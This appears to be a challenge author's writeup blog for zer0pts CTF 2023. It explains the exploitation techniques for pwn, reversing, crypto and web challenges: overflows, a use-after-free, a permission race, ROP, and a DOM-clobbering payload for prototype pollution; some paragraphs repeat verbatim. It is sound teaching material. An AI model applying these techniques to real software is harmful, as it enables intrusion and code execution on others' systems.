CTFするぞ

CTF以外のことも書くよ

zer0pts CTF 2023 Writeup

Introduction

This article is my writeups for zer0pts CTF 2023. Thank you for playing!

Final Scoreboard

pwn

aush

Background

It is sometimes frustrating for pwners that the shell cannot be spawned when the environment variables passed to execve are corrupted. I wrote a pwn challenge based on this experience.

Challenge

This program implements simple authentication of a username and password. Both the password and the username are initialized from /dev/urandom, so they cannot be predicted.

int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) {
  int ret, fd;

  // TODO: change it to password/username file
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
    return 1;
  ret  = read(fd, passbuf, passlen) != passlen;
  ret |= read(fd, userbuf, userlen) != userlen;
  close(fd);
  return ret;
}

All mitigations are enabled.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Solution

The vulnerability is simple: there is a stack buffer overflow both in the input of the username and password.

#define LEN_USER 0x10
#define LEN_PASS 0x20
...
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };
...
  /* Check username */
  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;
...
  /* Check password */
  write(STDOUT_FILENO, "Password: ", 10);
  if (read(STDIN_FILENO, inppass, 0x200) <= 0)
    return 1;

However, because stack canaries are enabled and we do not have the address, we cannot simply overwrite the return address.

Checking the order of each buffer on the stack, we see that they are arranged in the following order: "username", "input username", "password", "input password". Therefore, if the input username overflows, we can overwrite the password. However, the correct username cannot be overwritten, so we cannot bypass the username authentication.

In addition to the buffer overflow vulnerability, there is another issue. If authentication fails, a message is displayed using cowsay as follows:

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

Because execve calls cowsay, if authentication fails, the process changes into cowsay and exits. However, if execve fails for some reason, the execution will reach the path where the authentication is successful. So, how can we fail execve?

envp is passed as the third argument to execve. The environment variable array is located at the high address of the stack, so we can destroy it with a stack buffer overflow. However, if envp is simply destroyed, execve to spawn a shell will also fail. It needs to be fixed appropriately.

Therefore, both username and password authentication can be bypassed by the following steps:

  1. Overwrite the password with the username input and destroy the environment variable pointer.
  2. While sending the password overwritten in step 1, repair the environment variable pointer to an address that can be recognized as a string array.

I controlled the lower 2 or 3 bytes of the environment variable pointer to do this. Alternatively, setting envp to NULL in step 2 will also allow the shell's execve to work.

github.com

qjail

Background

Qiling is useful, but there are many things I don't like about it, so I decided to have participants pwn it.

Challenge

The program has a very simple buffer overflow vulnerability as follows.

#include <stdio.h>

int main() {
  char name[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("Enter something");
  scanf("%s", name);
  return 0;
}

However, all mitigations are enabled.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Of course, we cannot bypass these mitigations. However, the unusual part of this challenge is that Qiling is used to execute the program.

#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)

    cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
    ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql.run()

The flag is mounted in the rootfs of Qiling, and there is no need to escape from Qiling.

Solution

The three mitigations that makes it hard to exploit the vulnerability are ASLR, PIE, and Stack Canary. Let's experiment how Qiling treats each of them.

Compile a program that dumps addresses and stack contents, and run it with Qiling.

int main(int argc, char **argv) {
  unsigned long buf[2];
  printf("main=%p / system=%p\n", main, system);
  for (int i = 0; i < 8; i++)
    printf("+%02xh: %016lx\n", i*8, buf[i]);
  return 0;
}
import qiling

cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', "./a.out"]
ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql.run()

The result does not change no matter how many times you run it.

$ python test.py
main=0x7fffb7dd7169 / system=0x7fffb7e2d290
+00h: 0000000000000000
+08h: 00007fffb7dd7080
+10h: 000080000000de38
+18h: 6161616161616100
+20h: 0000000000000000
+28h: 00007fffb7dff083
+30h: 00007fffb7fc37a0
+38h: 000080000000de40

From this result, you can see that ASLR of the system is not emulated in Qiling *1. Furthermore, the Stack Canary is 0x6161616161616100. This value is fixed, and Stack Canary is virtually disabled on Qiling.

Therefore, we can bypass the canary and run our ROP chain to achieve arbitrary code execution.

github.com

BrainJIT

Background

I wrote a JIT for Brainfuck on a whim and it became a pwnable challenge. Initially, the area for tape was not executable, but I made it executable for a reason and the challenge became a bit easier.

Challenge

A Brainfuck JIT is implemented in a Python program.

$ ./app.py
Brainf*ck code: +[------->++<]>.---------.++++++.++++.>++++++++++.
neko

The JIT simply replaces the brainfuck instructions with native machine code. However, if there are consecutive pointer movement or value modification operations, they are compressed into a single operation.

Solution

The bug is simple: there is an error in the machine code output when there is a mismatch between the start and end of a loop.

...
            elif insn == '[':
                # mov al, byte ptr [rbp+rbx]
                # test al, al
                # jz ??? (address will be fixed later)
                emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
                emit += b'\x0f\x84' + p32(-1)
                jumps.append(self._code_len + len(emit))

            elif insn == ']':
                if len(jumps) == 0:
                    raise SyntaxError(f"Unmatching loop ']' at position {index}")
                # mov al, byte ptr [rbp+rbx]
                # test al, al
                # jnz dest
                dest = jumps.pop()
                emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
                emit += b'x0f\x85' + p32(dest - self._code_len - len(emit) - 6)
                self._code[dest-4:dest] = p32(self._code_len + len(emit) - dest)

            else:
                raise SyntaxError(f"Unexpected instruction '{insn}' at position {index}")

            self._emit(emit)
            index += length

        self._emit(emit_leave)

When a loop start is detected, the location of that instruction is pushed onto the stack. Then, when a loop end is found, the location of the starting point instruction is popped from the stack, and the jump destination for that location is fixed. If there are more ] than [, an exception is thrown as "Unmatching loop."

However, there is no check for when there are more [ than ], i.e., when the stack is not empty at the end of compilation. In such cases, the behavior of the program is undefined.

The following code corresponds to the compilation of the [ instruction.

# mov al, byte ptr [rbp+rbx]
# test al, al
# jz ??? (address will be fixed later)
emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
emit += b'\x0f\x84' + p32(-1)
jumps.append(self._code_len + len(emit))

The JIT compiler does not know where to jump at the start of the loop, so it uses "-1" as the temporary address. In other words, if the number of start and end points of the loop does not match, "-1" remains as the jump destination in the machine code output.

A branch instruction takes the offset from the next instruction to the jump destination. When "-1" is used as the jump destination, it jumps in the middle of the jump instruction itself. Specifically, it is recognized as an instruction starting from 0xff. If 0xff is added to the machine code generated by other Brainfuck instructions, it may turn into something exploitable.

To illustrate this, let's add 0xff to the compressible instructions <, >, +, - and then disassemble them. For example, < becomes the following (where the number of consecutive instructions is set to 0x41414141).

>>> disassemble("\xff" + "\x49\x81\xe8AAAA\x49\x81\xf8\x00\x80\x00\x00\x72\x01\xcc")
[(0, 'dec DWORD PTR [rcx-0x7f]'), (3, 'call 0x41414149'), (8, 'cmp r8,0x8000'), (15, 'jb 0x12'), (17, 'int3')]
# dec dword [rcp-0x7f]
# call 0x41414149
# ...

RCX is not a valid address in its initial state. However, the return value of the system call can be assigned to RCX by , or . instructions that use system calls, making RCX a valid address. The memory for machine code and tape are adjacent, and the memory for tape is also mapped as executable. Therefore, shell code can be prepared on the tape.

github.com

WISE

Background

After last year's D language pwn challenge, I decided to create another one using a language I had never used before. I often choose such languages for pwn challenges to test players' skills in unusual situations, where glibc heap exploits may not work for example. While I could use more complex software like browsers, this would require prior knowledge, so I use lesser-known languages instead. I surveyed a list of languages and picked the ones that are not memory-safe.

The theme, title, and description of this challenge came from the "Spy x Family" comic, which I was reading at the time I created the challenge.

Challenge

This year, I have chosen Crystal as the victim language. The challenge file has a unique extension named .cr.

The program has the following features:

  1. Add resident information.
  2. Edit resident information.
  3. Display resident information list.
  4. Mark a resident as a spy.
  5. Change the ID of a resident marked as a spy.
  6. Display the information of a resident marked as a spy.

Features 1-3 correspond to the create, edit, and show capabilities of the "note challenge." However, features 4-6 are the critical elements of this challenge.

Solution

Although I had never used Crystal before, I found its syntax to be similar to Ruby. Crystal is designed to be memory-safe, but it also provides some unsafe functions for performing dangerous operations. The code in the following section actually uses an unsafe instruction.

  when 4
    print "ID of suspect: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      puts "[+] Marked '#{name_list[index]}' as possible spy"
      suspect = id_list.to_unsafe + index
    end

Usually, marking a resident as a spy and then deleting it does not cause Use-after-Free in Crystal, as it uses garbage collection. However, the following code marks a resident as a spy:

suspect = id_list.to_unsafe + index

This expression saves only pointers in the id_list array variable, so the suspect variable only contains a reference to an address. Although there is no deletion function, when you add a resident and the array becomes larger, reallocation occurs, and the data moves to another area. Then, only the pointer to the original data remains in suspect, causing a Use-after-Free error.

Since we can change the ID of the spy, we can also change the 64-bit value pointed to by suspect. What can we do with this?

Let’s add some residents and check the memory.

0x7ffff7cbef00: 0x00007ffff7cbeee0      0x0000000000000000
0x7ffff7cbef10: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef20: 0x00007ffff7cbef00      0x0000000000000000
0x7ffff7cbef30: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef40: 0x00007ffff7cbef20      0x0000000000000000
0x7ffff7cbef50: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef60: 0x0000000800000001      0x4343434300000000 <-- name_list[1]
0x7ffff7cbef70: 0x0000000044444444      0x0000000000000000
0x7ffff7cbef80: 0x2bdaea1070d83563      0x5ce5ae78158f5e35 <-- id_list
0x7ffff7cbef90: 0x0000000000000000      0x0000000000000000
0x7ffff7cbefa0: 0x0000000800000001      0x4141414100000000 <-- name_list[0]
0x7ffff7cbefb0: 0x0000000042424242      0x0000000000000000

It appears that the heap manager in Crystal uses a linked list for freed areas. Additionally, because integers and strings have simple structures in Crystal, there are fewer concerns regarding exploitation.

For instance, you can assign the head of id_list to suspect. If you increase the number of residents, reallocation occurs and the original buffer for id_list is freed.

0x7ffff7cbef00: 0x00007ffff7cbeee0      0x0000000000000000
0x7ffff7cbef10: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef20: 0x0000000800000001      0x4747474700000000 <-- name_list[3]
0x7ffff7cbef30: 0x0000000048484848      0x0000000000000000
0x7ffff7cbef40: 0x0000000800000001      0x4545454500000000 <-- name_list[2]
0x7ffff7cbef50: 0x0000000046464646      0x0000000000000000
0x7ffff7cbef60: 0x0000000800000001      0x4343434300000000 <-- name_list[1]
0x7ffff7cbef70: 0x0000000044444444      0x0000000000000000
0x7ffff7cbef80: 0x00007ffff7cbef00      0x5ce5ae78158f5e35 <-- freed id_list
0x7ffff7cbef90: 0xc97703dc32b35f9c      0x0000000000000000
0x7ffff7cbefa0: 0x0000000800000001      0x4141414100000000 <-- name_list[0]
0x7ffff7cbefb0: 0x0000000042424242      0x0000000000000000

Let’s change the suspect’s ID:

0x7ffff7cbef00: 0x00007ffff7cbeee0      0x0000000000000000
0x7ffff7cbef10: 0x0000000000000000      0x0000000000000000
0x7ffff7cbef20: 0x0000000800000001      0x4747474700000000 <-- name_list[3]
0x7ffff7cbef30: 0x0000000048484848      0x0000000000000000
0x7ffff7cbef40: 0x0000000800000001      0x4545454500000000 <-- name_list[2]
0x7ffff7cbef50: 0x0000000046464646      0x0000000000000000
0x7ffff7cbef60: 0x0000000800000001      0x4343434300000000 <-- name_list[1]
0x7ffff7cbef70: 0x0000000044444444      0x0000000000000000
0x7ffff7cbef80: 0x00000000deadbeef      0x353337330000000a <-- freed id_list
0x7ffff7cbef90: 0xc900393535383239      0x0000000000000000
0x7ffff7cbefa0: 0x0000000800000001      0x4141414100000000 <-- name_list[0]
0x7ffff7cbefb0: 0x0000000042424242      0x0000000000000000

You can clearly see that the linked list has been destroyed. Furthermore, you can also leak heap addresses because you can check IDs. Since the variables id_list and name_list themselves are also on the heap, you can calculate their addresses. By pointing the link to these variables, you can rewrite name_list and id_list. As a result, AAR/AAW primitive can be created, and you can leak the address of the stack from environ and bring it to ROP.

It is evident that the linked list has been destroyed. Additionally, one can potentially leak heap addresses by checking IDs. As the variables id_list and name_list are also on the heap, we can calculate their addresses.

Furthermore, we can make the linked list point to near name_list and id_list to overwrite them. This drops an AAR/AAW primitive. Then, we can leak the stack address from environ and inject a ROP chain.

github.com

sharr

Background

One day, I had the idea that the open function could take a variable-length argument and be used to create a pwnable challenge.

Challenge

This is a "note" challenge that is similar to the previous one. It is divided into two processes: one for managing the interface and another for managing the note using interprocess communication (IPC). There is no sandboxing, and the challenge does not start a program when connected to via nc. Instead, it gives you a shell. Therefore, the objective is not to perform Remote Code Execution (RCE), but rather to perform Local Privilege Escalation (LPE).

The interface accepts commands and sends them to the parent process via IPC. What's special about this challenge is that it uses a file to exchange commands.

void io_set(off_t offset, void *data, size_t size) {
  lseek(mapfd, offset, SEEK_SET);
  write(mapfd, data, size);
}

void io_get(off_t offset, void *data, size_t size) {
  lseek(mapfd, offset, SEEK_SET);
  read(mapfd, data, size);
}

DEFINE_SETTER_CONST(int, command);
DEFINE_GETTER(int, command);
DEFINE_SETTER(ssize_t, index);
DEFINE_GETTER(ssize_t, index);
DEFINE_SETTER(size_t, value);
DEFINE_GETTER(size_t, value);

Solution

The vulnerability lies in the initial code that creates the shared file.

  /* Create filename */
  snprintf(mapname, sizeof(mapname), "/tmp/.shm-%08x", rand());
...
  /* Create shared memory */
  if ((mapfd = open(mapname, O_RDWR|O_CREAT|O_EXCL)) == -1)
    fatal(mapname);
  fchmod(mapfd, 0600);
  ftruncate(mapfd, sizeof(ArrayIO));
  signal(SIGINT, interrupt_handler);
  io_set_command(CMD_WAIT);

The filename for the shared file depends on the rand() function, so it can be predicted. The file is then created using the open function. Once the file is created, chmod changes the file permission to 0600 to prohibit anyone other than the admin from opening it.

What happens to the permission setting during the time between when the file is created with open and when the permission is changed with chmod?

Although it may not be immediately apparent, the vulnerability lies in the open function, which takes a variable-length argument. Therefore, even if a large number of arguments are passed to the open function in C, the code will still compile with gcc. This is because the open system call sometimes takes a mode argument. The open system call can be used to create or open a file. When creating a file, it is necessary to specify the permissions, so the mode argument is used at that time.

However, the C code in this challenge only passes two arguments. Thus, the system call tries to use a hidden third argument. Specifically, it uses the contents of the uninitialized RDX register.

The last time RDX is changed before the open function is in the atoi function. The atoi function is used to determine the verbose mode value, and if it is set to 1, valuable information such as addresses can be obtained.

In this version of libc, the negation of the value converted by the strtol function remains in the RDX register. To set the permission to 0777, you need to pass (0o777 ^ 0xfff)+1=3585, for example, as the verbose mode value. However, when you actually experiment with this method, you will not create a file with permission 0777.

The reason for this is the umask. umask is a function that masks permissions when creating files. For example, when umask is set to 022 and a file is created with 0666, the actual file permission will be 0666 & ~022 = 0644. Therefore, we must set umask to 0 before executing the program.

If a third party process can successfully open the shared file between open and chmod, it can instruct the parent process to perform arbitrary operations without index or size checks.

Next, you need an address leak. Since commands can be sent regardless of the interface, you can store or read values in an arbitrary index using the following code.

case CMD_EDIT: {
  ssize_t idx = io_get_index();
  size_t val = io_get_value();
  arr[idx] = val;
  if (verbose == 1)
    dprintf(STDERR_FILENO, "[DEBUG] CMD_EDIT: %p <-- 0x%016lx\n", &arr[idx], val);
  break;
}

case CMD_SHOW: {
  ssize_t idx = io_get_index();
  io_set_value(&arr[idx]);
  if (verbose == 1)
    dprintf(STDERR_FILENO, "[DEBUG] CMD_SHOW: %p --> 0x%016lx\n", &arr[idx], arr[idx]);
  break;
}

It is possible to read and write data at an arbitrary address in the heap. However, it is not possible to perform glibc heap-related exploits because the free function is never used. If you attempt to write to an unmapped address, the entire process will crash.

Of particular interest is the fact that CMD_SHOW passes &arr[idx] directly to io_set_value. The definition of io_set_value is as follows:

#define DEFINE_SETTER(type, name)                         \
  void io_set_##name(type *name) {                        \
    io_set(offsetof(ArrayIO, name), name, sizeof(type));  \
  }
...
void io_set(off_t offset, void *data, size_t size) {
  lseek(mapfd, offset, SEEK_SET);
  write(mapfd, data, size);
}
...
DEFINE_SETTER(size_t, value);

In other words, it is equivalent to the following code.

write(mapfd, &arr[idx], sozeof(size_t));

Since write is a kernel-side operation, the process does not crash even if an invalid address like &arr[idx] is used.

Therefore, in CMD_SHOW, you can search for the program's base address by advancing the index in the negative direction by (0x1000/8) units, and looking for "\x7FELF". Once you know the program's base address, you can gradually obtain libc and stack addresses and bring them into ROP.

As write is a kernel-side operation, a process will not crash even if an invalid address such as &arr[idx] is used. Therefore, in CMD_SHOW, you can search for the program's base address by moving the index in the negative direction by (0x1000/8) units and searching for \x7FELF". Once you know the program's base address, you can also obtain libc and stack addresses, and then inject the ROP chain.

github.com

Himitsu Note

Background

One day, I set the least significant byte of the return address of the main function to 0. I then discovered a way to leak argv[0] and turned it into a challenge.

Challenge

This is another note challenge, but each one has a unique concept.

In this challenge, you can perform the following two operations:

  1. note_list[index] = malloc(0x800);: Store a malloc pointer in the stack array.
  2. getstr(note_list[index]): Write data to the allocated address.
  3. Free all array pointers and exit the program.

Although this challenge may seem easy at first glance, the address leak method is a bit novel.

Solution

First of all, there is an obvious vulnerability in the first function.

      case 1: {
        unsigned int i = getint("index: ");
        if (!note_list[i]) {
          note_list[i] = (char*)malloc(NOTE_SIZE);
          print("[+] done\n");
        } else {
          print("[-] error\n");
        }
        break;
      }

The lack of an index check means that you can write out of bounds. However, since it is unsigned, you can only write in the positive direction.

Using the pointer to the stack, you can overwrite the return address. However, since PIE is enabled, we need to leak the address.

There is another vulnerability in this challenge: the getstr function.

void getstr(const char *s, char *buf, size_t len) {
  print(s);

  for (size_t i = 0; ; i++) {
    char c;
    if (read(STDIN_FILENO, &c, 1) <= 0)
      _exit(1);
    else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else if (i < len) {
      buf[i] = c;
    }
  }
}

If you write a character that exceeds the size len, the loop will continue, but it will not be written to the buffer. However, the last newline is always converted to a NULL byte, so there is a vulnerability that allows you to write a NULL byte to wherever writable in the positive direction. What can we do with this vulnerability?

The first thing to consider is to destroy the note address. However, free is only called once at the end of the function. Some parts of the tcache area can be destroyed, but malloc is only called with a size of 0x800, so the tcache is not used.

The next thing to consider is partial destruction of the return address. If you replace the lowest byte of the return address with a NULL byte, you will jump to the next location.

pwndbg> x/16i 0x00007ffff7df2000
   0x7ffff7df2000 <__libc_start_main+112>:      sbb    al,0x0
   0x7ffff7df2002 <__libc_start_main+114>:      mov    rsi,QWORD PTR [rsp+0x8]
   0x7ffff7df2007 <__libc_start_main+119>:      mov    edi,DWORD PTR [rsp+0x14]
   0x7ffff7df200b <__libc_start_main+123>:      mov    rdx,QWORD PTR [rax]
   0x7ffff7df200e <__libc_start_main+126>:      call   rbx

The code above calls __libc_csu_init in __libc_start_main. Let's check the rest of the code.

  if (init)
    (*init) (argc, argv, __environ MAIN_AUXVEC_PARAM);

#ifdef SHARED
  /* Auditing checkpoint: we have a new object.  */
  if (__glibc_unlikely (GLRO(dl_naudit) > 0))
    {
      struct audit_ifaces *afct = GLRO(dl_audit);
      struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded;
      for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
    {
      if (afct->preinit != NULL)
        afct->preinit (&link_map_audit_state (head, cnt)->cookie);

      afct = afct->next;
    }
    }
#endif

#ifdef SHARED
  if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS)) // [1]
    GLRO(dl_debug_printf) ("\ntransferring control: %s\n\n", argv[0]); // [2]
#endif

Let's focus on condition [1]. The calculation of GLRO (dl_debug_mask) & DL_DEBUG_IMPCALLS occurs just before the jump destination.

   0x7ffff7df1feb <__libc_start_main+91>:       mov    ebp,DWORD PTR [rdx]
   0x7ffff7df1fed <__libc_start_main+93>:       and    ebp,0x2

The RBP register is calculated using machine code before the jump destination as shown above. As a result, RBP does not have the correct values after the jump.

The leave instruction in the main function is where the RBP register is finally set.

   0x55555555546b <main+309>:   leave
   0x55555555546c <main+310>:   ret

To fulfill condition [1], simply insert a random heap address in the saved rbp. In addition, [2] outputs argv[0] to stderr. Luckily, the main function is called after this process, so the program continues after the address leak.

  int not_first_call;
  not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf);
  if (__glibc_likely (! not_first_call))
    {
      struct pthread *self = THREAD_SELF;

      /* Store old info.  */
      unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf);
      unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup);

      /* Store the new cleanup handler info.  */
      THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf);

      /* Run the program.  */
      result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
    }

Since argv[0] is also on the stack, you can put a heap address here and dl_debug_printf will output the contents of the heap. In this way, the heap and libc addresses can be leaked. Once the addresses are known, a ROP chain can be written to execute arbitrary commands.

By placing a heap address in the argv[0] position on the stack, dl_debug_printf can output the contents of the heap. This allows for the leaking of heap and libc addresses. With these addresses known, we can inject a ROP (Return-Oriented Programming) chain to execute arbitrary commands.

github.com

reversing

decompile me

Background

While teaching reversing at a certain place, I advised my students, "Decompilers are convenient, but try to read the assembly code as much as possible when practicing." At the same time, I wanted to create a challenge that would perplex decompiler addicts. I also believe that reverse engineers should have a general understanding of programs that obfuscate analysis by confusing arguments.

Challenge

This is a reverse engineering challenge for x86-64 architecture. With the help of decompilers, such as IDA and Ghidra, even individuals who cannot read assembly can now engage in reverse engineering. However, decompiler tools comply with the specifications of some compilers like GCC. As a result, they can be easily obfuscated by breaking the calling convention.

Solution

When compiled with IDA, the following code is generated.

IDA generating a clean code

However, even if you decrypt RC4 based on this, you will not obtain the flag. All the functions defined here are not libc functions, but are implemented independently. For instance, the write function is defined as follows.

Definition of the write function

It is clear that the calling convention is not being followed. The real arguments are not RDI, RSI, and RDX, but RBP, R12-R15, and the stack. Each function also has a different calling convention. The algorithm is RC4, but the location of the key and ciphertext are in completely different places.

github.com

mimikyu

Background

I made this challenge because I had never seen API Hashing in Linux. That’s all.

Challenge

The theme of this challenge is to apply obfuscation techniques commonly used in Windows malware to Linux. Specifically, major function calls are obfuscated by hash values, similar to what is done in Windows using API Hashing.

Obfuscated function calls

Solution

The approach for analyzing Windows API Hashing is the same as for this challenge. It's easier to write code that reverse-engineers function names from hash values.

After deciphering the function names, the cap function becomes the focus. This function takes a single value as input, creates a hash table with the hcreate function from glibc, and continues to insert elements with hsearch until it fails, copying the number of elements that were successfully inserted into an output variable.

In other words, cap returns the capacity of the hash table created with hcreate. Reading the implementation of the hcreate function here, we can see that the capacity is always a prime number. It's surprising that there's an implementation of next_prime in glibc...!

Knowing that the capacity is a prime number, we can determine that the implementation is weak RSA and write a solver quickly.

github.com

topology

Background

I wanted to create a challenge that could be solved easily with advanced symbolic execution.

Challenge

The program implements interprocess communication using shared memory and futex. It spawns 100 processes, including the parent process, forming a ring network topology.

The parent process divides the input flag into blocks of 8 bytes, and requests all child processes to verify the flag via the ring network. The receiving process returns the verification result, and the packet circulates on the network until the parent process receives it. The parent process receives the results of all child processes and judges if the block of the flag is correct. If five or more processes accept the flag, it is considered correct.

While the logic for each process to verify the flag block is simple, there are 99 processes, making automation necessary.

Solution

This challenge is intended to be solved using an emulator or symbolic execution tool like angr. While it is not feasible to symbolically execute the entire program, it is possible to emulate all the verification functions for each process. Symbolic execution is essential, and for technical explanations from the perspective of program analysis, please refer to the code for details.

github.com

fvm

Background

While examining the list of registers on an Intel device, I came across a register named "st" that I did not recall seeing before. I decided to turn it into a CTF challenge. Unfortunately, however, there is no "st98" register. Let’s hope the "st" register will be expanded in the future.

Challenge

This is a so-called “VM challenge.” Personally, I do not want to create a VM reversing challenge because it requires manpower, rather than skill. However, I created this challenge because it utilizes CPU-specific features, which I thought would be interesting.

When creating a “VM”, the program typically allocates a structure containing registers, an instruction pointer, and memory. However, in this challenge, initialization is accomplished with only one instruction, and there is no code to construct the CPU or memory.

  void init_cpu() {
    __asm__("finit");
  }

The program uses x87, a subset of the x86 CPU instruction set optimized for floating-point arithmetic. It has a unique feature of performing operations through a stack inside the CPU. The stack can hold up to 8 data, ranging from st(0) to st(7). Each data has a precision of 10 bytes (80 bits). The x87 instructions used in this challenge require few operands. For example, addition is done using the faddp instruction, which pops the top two values from the stack, adds them, and pushes the result onto the top of the stack.

Solution

It is easy to write a decompiler than to read one.

The VM bytecode reads the flag every 4 bytes, converts the character code to radians, and places it on a cycloid and cardioid. It then multiplies and adds the results and compares each value with the answer. Although only two values are given for four variables, the range of values is limited, so you can solve it through brute-force.

github.com

crypto

SquareRNG

Background

I started working on creating a crypto warmup as I was concerned about Mitsu's submission of moduhash as a warmup. One night, before going to bed, I came up with the following problem:

For a polynomial  f(x) defined on  \mathbb{F}_p, let  L be a sequence defined as follows:

 L = \left(\cfrac{f(0)}{p}\right), \left(\cfrac{f(1)}{p}\right), \left(\cfrac{f(2)}{p}\right), \cdots

Is it possible to calculate the following Legendre symbol?

 \left(\cfrac{f(l)}{p}\right)

when a sufficiently short length  l subsequence of  L is given?

I looked it up without any expectations and found that such a sequence is called a Legendre sequence. Furthermore, this problem is called the GLSP (Generalized Legendre Symbol Problem) and is generally believed to be difficult. I considered making it into a crypto challenge, but we obviously cannot solve it.

So, I removed the constraint of a polynomial and considered the case where there are multiple functions, which led me to come up with this challenge.

Challenge

The following oracle is given on  F_{p}. However,  a, p are unknown, and we can freely set  b. Two oracles can be obtained by setting  b twice.

 \mathcal{O}(x) = \left(\cfrac{f(x)}{p}\right), f(x) = \sum_{0}^{x} a^{x} b^{x}, 1 \leq x \leq 32

This oracle is used as an implementation of random numbers, so it's also necessary to understand the above formula from the code. If you can accurately calculate  \left(\cfrac{a^{33} + b^{33}}{p}\right) for one of the  bs, you will get the flag.

As an important property of Legendre symbols, the following formula holds (I omit the proof as it is simple).

 \left(\cfrac{ab}{p}\right) = \left(\cfrac{a}{p}\right) \left(\cfrac{b}{p}\right)

That is, if you know the Legendre symbols of  a and  b, you can also get the Legendre symbol of  ab. Also,  a^{33} + b^{33} that we want to know this time can be factored.

 a^{33} + b^{33} = (a + b)(a^{32} - a^{31}b + a^{30}b^{2} - \cdots - ab^{31} + b^{32})

Is it possible to calculate the Legendre symbol of the factors? For  f(x), if  b=1, then when  x=1,

 f(x) = a + 1 = a + b

Also, when  b=-1,  x=32,

 f(x) = a^{32} - a^{31} + a^{30} - \cdots - a + 1 = a^{32} - a^{31}b + a^{30}b^{2} - \cdots - ab^{31} + b^{32}

Therefore, if you multiply the Legendre symbols at  x=1, 32 when  b=\pm 1, you can find the desired Legendre symbol when  b=1, x=33.

github.com

web

ScoreShare

Background

As a piano hobbyist, I decided to create a prototype pollution challenge using abc.js, a JavaScript library for drawing musical scores. I chose this library because there is a lot of code that manipulates innerHTML. However, as a web newbie, it took me a long time to create the challenge because I had to learn about DOM clobbering, CSP, and iframe behavior. Additionally, it was difficult to create the ABC notation for the sample score. Unfortunately, the challenge ended up having an unintended solution.

Challenge

ScoreShare is a service that enables users to post music scores written in ABC notation. The scores are then displayed in HTML. Users can add a title and a related link to the score page. The link is displayed in an iframe on the score page.

I had to transcribe the score for nyanyanyanyanyanyanya! myself due to copyright issues.

Solution

There is an issue with the rendering of iframes, which is not critical. The src attribute of the iframe is set to the link and the name attribute is set to the title using Jinja.

<iframe sandbox="allow-same-origin" name="{{ title }}" src="{{ link }}"></iframe>

Additionally, there is a vulnerability related to prototype pollution in score.js, which loads the configuration for the score.

    let synth = { el: '#audio' };
    if (typeof config !== 'undefined') {
        for (let i = 0; i < config.synth_options.length; i++) {
            let option = config.synth_options[i];
            if (typeof option.value === 'object') {
                if (synth[option.name] === undefined)
                    synth[option.name] = {};
                let param = synth[option.name];
                Object.getOwnPropertyNames(option.value).forEach(key => {
                    param[key] = option.value[key];
                });
            } else {
                synth[option.name] = option.value;
            }
        }
    }

However, config is a value that comes from the API and is hardcoded in app.py.

DEFAULT_CONFIG = {
    'template': {
        'title': 'Nyan Cat',
        'abc': open('nyancat.abc').read(),
        'link': '<https://en.wikipedia.org/wiki/Nyan_Cat>'
    },
    'synth_options': [
        {'name': 'el', 'value': '#audio'},
        {'name': 'options', 'value': {
            'displayPlay': True,
            'displayRestart': True
        }}
    ]
}

The code that gets the configuration from the API is in config.js.

async function defaultConfig() {
    // Use cache if available
    if (window.config) return window.config;
    // Otherwise get config
    let promise = await fetch('/api/config');
    let config = await promise.json();
    return window.config = config;
}

You can see that if window.config exists, it is used as a cache and utilized preferentially. However, since we can freely set the name attribute of the iframe, if a score with the title "config" is posted, it will reference the iframe DOM instead of the config.

The iframe is useful for DOM clobbering. In this configuration, we can achieve prototype pollution by preparing multiple iframes at the same domain using the following multi-stage iframes.

If window.config exists, it is used as a cache. However, if a score with the title "config" is posted, it will reference the iframe DOM instead of the config, since we can freely set the name attribute of the iframe.

The iframe is useful for DOM clobbering. We can achieve prototype pollution by preparing multiple iframes at the same domain using the following multi-stage iframes.

(1)

<iframe name="synth_options" src="/api/score/(Score ID of 2)"></iframe>

(2)

<iframe name="__proto__" src="/api/score/(Score ID of 3)"></iframe>

(3)

<base href="a://neko">
<a id="value">
<a id="value" name="x" href="1">

If we post the HTML for 1 as a score, we can obtain the corresponding score as HTML from the API. Therefore, if we set the URL to the API as the related link, it will pollute the Object prototype by setting x to a://neko.

However, it is unclear if this pollution can be used to achieve XSS. Looking at the code for abc.js, there are several instances where innerHTML is modified. For example, the following code inserts the BPM of the playback bar directly into innerHTML.

